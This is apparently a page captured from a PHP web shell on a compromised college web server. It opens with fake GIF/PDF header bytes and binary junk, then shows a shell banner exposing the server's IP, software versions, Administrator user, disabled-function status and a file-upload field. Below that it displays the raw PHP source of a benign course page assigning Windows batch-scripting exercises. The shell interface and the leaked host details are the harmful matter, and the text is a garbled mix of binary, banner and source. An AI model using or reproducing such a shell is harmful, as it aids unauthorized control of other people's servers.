GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/CST1861/ |
Upload File : |
<? // JimMartinson/CST1861/Lab03.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = 4; $assignmentType = "Lab"; $assignmentTitle = "Command scripts"; $evaluationType = "Lab"; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); $userFullName = str_replace(" ","",$_SESSION['userFullName']); ?> <style type="text/css"> pre { line-height:1.0em; } </style> <p> <fieldset><legend>Description</legend><span class="normal"> Create batch programs. <b class="error">This assignment is due by 5:00pm on Thursday, May 13th.</b> </span></fieldset> <fieldset><legend>Lab Instruction</legend><span class="normal"> <ol> <li><b>Write and hand in five of the following command scripts.</b> <ol type="i"> </li> <!-- rpath.cmd --> <li><b>Modify the command script: rpath.cmd from Lab03.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: rpath.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Test if command line extensions are enabled.</span> if "%~1"=="~1" goto:ExtensionsAreNotEnabled <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp <span style="background-color:#99FF99">:Help</span> echo Remove a directory path from the Path. echo. echo Usage: %~n0 [dir_path] echo. echo dir_path = The directory path to remove from the Path. echo. If no dir_path is given a menu is displayed for you to select echo the dir_path to remove. goto:EOF <span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span> echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly. echo %~n0 aborted. echo. goto:Help <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: :: If dir_path does not exist display an error. :: There was an error in rpath.cmd from Lab03. When you removed the last part of the path the Path variable was not :: set to a null path. Replace: :: endlocal & set Path=%_newPath:~1% :: With: :: endlocal & if NOT "%_newPath%"=="" ( :: set Path=%_newPath:~1% :: ) else ( :: set Path= :: ) </span> <!-- :: I used the following commands or variables when writing rpath: :: <b>call</b>, <b>echo</b>, <b>echo off</b>, <b>echo.</b>, <b>endlocal</b>, <b>for /f</b>, <b>goto</b>, <b>goto:EOF</b>, <b>if "string"=="string"</b>, :: <b>if /i</b>, <b>if NOT</b>, <b>if NOT defined</b>, <b>if NOT exist</b>, <b>path</b>, <b>set</b>, <b>setlocal</b>, <b>shift</b>, <b>%path%</b>, <b>%~0</b>, :: <b>%~1</b>, and <b>%~n0</b>. --> </pre> </li> <li><b>Create the command script: wp.cmd.</b><br /> wp.cmd will generate a menu from the image files found in the current directory and change the wallpaper to the image selected. <br /> Images should include all .jpg and .bmp types. <br /> You will need the 3<sup>rd</sup> party utility <a href="Lab04/wprefresh.exe">wprefresh.exe</a> to force a wallpaper refresh after the change. <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: wp.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> :: Test if command line extensions are enabled.</span> if "%~1"=="~1" goto:ExtensionsAreNotEnabled <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp <span style="background-color:#99FF99">:Help</span> echo Change the wallpaper to the .bmp or .jpg image selected. echo. echo Usage: %~n0 echo. echo %~n0 will display a menu of all .bmp or .jpg images in the current directory. echo The wallpaper will be changed to the image selected. goto:EOF <span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span> echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly. echo %~n0 aborted. echo. goto:Help <span style="background-color:#99FF99">:SkipHelp</span> </pre> </li> <li>Create a command script from one of the following backup solutions: <br /><a href="Lab04/backup/2xsave.cmd">2xsave.cmd</a> This is an automatic realtime backup program! When activated, this script automatically saves a copy of any file that is saved to a specified monitored source(s) to a specified target(s) on remote/removable storage (when available). <br /><a href="Lab04/backup/@Backup.cmd">@Backup.cmd</a> Backup all directories that begin with an '@' from the source_drive to the destination_drive drive. <br /><a href="Lab04/backup/backsched.cmd">backsched.cmd</a> Schedule a backup everyday at a specific time. <br /><a href="Lab04/backup/backupext.cmd">backupext.cmd</a> Searches all local drives for files of a type specified by the user (ie: .doc, .dwg, .drw) and backs them up to a directory specified by the user. <br /><a href="Lab04/backup/backupfiles.cmd">backupfiles.cmd</a> Backup files in a certain directory. </li> <li>Create two command scripts from the following: <br /><a href="Lab04/address.cmd">address.cmd</a> Lists HostName, TCPIPv4 addresses, sub-net mask, TCPIPv6 address, MAC address, Default Gateway, and DHCP Server adresses. <br /><a href="Lab04/CC.cmd">CC.cmd</a> Clear browser cache. %~n0 will clear the browser cache on the current profile. <br /><a href="Lab04/cleanup.bat">cleanup.bat</a> Cleanup (delete) all temporary files from standard windows locations. <br /><a href="Lab04/duplicatefiles.cmd">duplicatefiles.cmd</a> Find duplicate files in different folders. <br /><a href="Lab04/home.cmd">home.cmd</a> Move to Documents folder in your home directory. Or move to another directory within your home. <br /><a href="Lab04/largestfiles.cmd">largestfiles.cmd</a> Shows the largest file in a drive or directory (and sub-sirectories). <br /><a href="Lab04/NewWindowsCommandScript.cmd">NewWindowsCommandScript.cmd</a> Adds create new "Windows Command Script" under right click menu. <br /><a href="Lab04/ping.cmd">ping.cmd</a> Ping a website for checking network. <br /><a href="Lab04/remspace.cmd">remspace.cmd</a> Replaces all spaces in file and subdirectory names with underscores (_) within the specified directory. <br /><a href="Lab04/sd.cmd">sd.cmd</a> Shutdown. <br /><a href="Lab04/shellswap.cmd">shellswap.cmd</a> Swaps the shell from explorer to a command line and vice versa. Change will take place at the next startup. <br /><a href="Lab04/subnet.cmd">subnet.cmd</a> Find out which IP addresses are in use on a given subnet. <br /><a href="Lab04/SysVer.cmd">SysVer.cmd</a> </li> <li><b>OPTIONAL:</b> Modify or create a new BattStat.cmd that works with a Windows 7 VM. This will not be easy. If you accomplish this an 'A' grade for this class is guaranteed. <br /><a href="Lab04/BattStat.cmd">BattStat.cmd</a> Display current battery status for the local computer. </li> <li>Zip up your command scripts and image files as <?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li> <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following file: <br /><?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li> </ol> </span></fieldset> <fieldset class="pio"><legend>Grading Criteria</legend><span class="normal"> Demonstrated assignment effectively: 25 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </span></fieldset> <fieldset class="pio"><legend>Objectives</legend><span class="normal"> <ol class="obj pio" start="3"> <!-- 1 3 --> <li>Create a command scripts.</li> </ol> </span></fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); ?>